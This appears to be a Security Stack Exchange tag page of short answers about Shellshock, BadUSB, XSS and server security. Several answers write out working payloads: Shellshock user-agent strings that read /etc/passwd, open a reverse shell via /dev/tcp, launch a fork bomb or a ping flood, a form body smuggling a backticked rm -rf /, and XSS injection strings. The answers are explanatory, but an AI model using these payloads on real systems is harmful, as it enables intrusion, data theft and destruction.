Tag Info

New answers tagged

2

Once an attacker gains control of a system he may use it to try and compromise vulnerable USB devices plugged into it in hopes of compromising the other systems to which the compromised USB devices will be connected. And the attacker doesn't care about which ports are used, he'll just probe all of them in hopes of finding & compromising a vulnerable USB ...


2

If a USB stick accepts unsigned firmware updates then yes it's vulnerable to a bad USB attack. There are products out there that only accept digitally signed firmware updates. These devices are not susceptible. http://www.ironkey.com/en-US/solutions/protect-against-badusb.html


0

So far there is no confirmed sure fire way to prevent it. The best solution thus far is to disable the “boot mode” state of the device and perhaps physically disabling access with glue for instance. Here is an article about it http://news.softpedia.com/news/There-Is-Anti-BadUSB-Protection-but-It-s-a-Bit-Sticky-461485.shtml p.s. you could get fun with ...


-3

Here are a few tips on setting up challenges and organizing things that you might find useful: https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown


1

I'm a bit confused about your question, but it seems like a framework like BeEF might do what you are talking about. This is an interesting project that allows you to drop a hook into a site that contains an XSS vulnerability and then gives you a dashboard that displays who has loaded the page. From here you can target specific users with all types of ...


6

The intent would have been to exploit a server side include -- your webserver retrieving the URL and incorporating it into the web page. This vulnerability isn't very common anymore.


3

the exact cgi script which uses bash as an interpreter "Using bash as an interpreter" not a precondition for the exploitation of the family of bash vulnerabilities called "shellshock" (the many distinct parsing vulnerabilities based on an environment variable with any name beginning with exactly the bytes () {). All you need to exploit one of ...


2

First of all, the command you execute would be: $ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" It all boils down to the way the vulnerability works. When bash exports functions, it does so through the environment, with a function x stored in either variable x or (after latest patch) BASH_FUNC_x. bash ...


0

Fresh Installation will definitely be a solution. Also restoring network devices will further kill any infection possibility. If you don't want to enable 'noscript', then try disabling unwanted browser plugins, specially Java. Most of the web attacks from browsers exploit these plugins to drop malwares. Disabling plugins will keep you safe from such ...


0

Wiping your system and restoring from trusted media is definitely a good idea. At that point your system should be safe. However, I'd also suggest rotating your passwords on online services as well as using new passwords when you reinstall Linux. If you have ssh keys in use it wouldn't be a bad idea to rotate them as well. It may seem a little excessive but ...


1

By https-only I'm assuming you mean the HTTP Only flag, although it is accessed over HTTPS. The non HTTP Only cookies could be compromised if there are any XSS flaws on the website. The non secure flagged cookies could be compromised if the user was using a browser that does not support HSTS (such as Internet Explorer). This would be a MITM attack on a ...


6

Posting a body such as this: realname%3DSisodiya%20Chhatrapalsinh%26email%3D%60rm%20-rf%20%2F%60%26comments%3DDo%20your%20own%20homework%26submit%3DSubmit


8

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for. Every program (bash, java, tcl, php, ...


2

You're correct, as far as I can tell. If AcceptEnv is not set then a remote client cannot get the SSH server to process any environment variable. Note that you can execute a command through SSH as an authenticated client and get that command to load up your crafted environment variable. So if you have any setuid/setgid binary running a Bash script, this ...


4

If you use the apache php module or fastcgi and not CGI, the parameter would never get to bash. Even if you used CGI, it would only get to bash if Wordpress somehow used called a bash script during its execution (someone more knowledgeable in Wordpress could tell the probability of that happening). You could monitor for suspicious network connections with ...


3

You should be safe from ssh side, but there are other vectors as well, like dhclient-script. By the way, you are only really "vulnerable" through SSH if you have users with restricted access (e.g. chroot or sftp-only). If all your users have full shell access, then even though they may run commands using this exploit, they could do that anyway.


2

It depends on what you mean by safe. Ubuntu has to parse and decode the image file to display it in a thumbnail. So any potential exploit in the decoding code is exploitable when you preview the file. So from a strict perspective, no you're not safe. In practice, I don't believe there's any known exploits on ubuntu for image files. Historically images ...


12

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges. Given the widespread use of environment variables to share state between processes in Unix and the ...


1

mod_fcgi itself is not vulnerable: it talks to Apache through interprocess communication rather than the environment variables of traditional CGI. Any CGI scripts run through mod_fcgi can still be vulnerable if 1) they can be coerced into setting environment variables and 2) invoke bash (say, through a system() call or backtick interpolation).


130

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo "Content-type: text/plain" echo echo echo "Hi" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" ...


4

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell () { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] # #CVE-2014-6271 cgi-bin reverse shell # import ...


0

Try inserting ' + alert('xxx') + ' This will render the sourcecode above as pagename : '' + alert('xxx') + '' This means in plain English "The value of _TM.pagename is the string which you get when you concatenate an empty string, the return value of calling alert('xxx') and another empty string". To build this string, alert('xxx') will be called. ...


90

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb: () { :; }; :(){ :|: & };: Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server. Or, somebody could use your server as an attack bot: () { :; }; ping -s 1000000 <victim IP> Put ...


0

if you can have execution without the last two fields, I'd try something like that '};alert('xxx');var misc={aa='bb otherwise if they are required, just add them before closing the first dict


0

Is the exploit a metasploit ready, I mean, is it made in ruby for metasploit ? You don't need to restart the service, you just need to do either 1. Close and reopen msfconsole 2. reload_all command from inside msfconsole and it'll do the job. The exploit must be in the ~user/.msf4/modules/exploits directory in a certain dir structure like ...


3

XSF is, essentially, XSS in a Flash applet. Where in XSS you find vectors (e.g. URL parameters or form fields) for injecting content into the DOM that is parsed as script, in XSF you look for cases where you can get untrusted data to be placed into Flash variables, which may then be used in an unescaped context inside the Flash applet, resulting in script ...


0

Immediate danger, no. Potential danger, yes. To anyone's system who is accessing these files. Virusscanning can mitigate but is far from perfect.


1

So at first moment i thought an alert('xxx') is enough to create a POC but inserting alert or any thing else is leading the code to become faulty Breaking the code is usually a good sign. A syntax error may show the victim is not performing the correct escapes to keep the code valid. Look at the generated source to see what it produces for your input. ...



Top 50 recent answers are included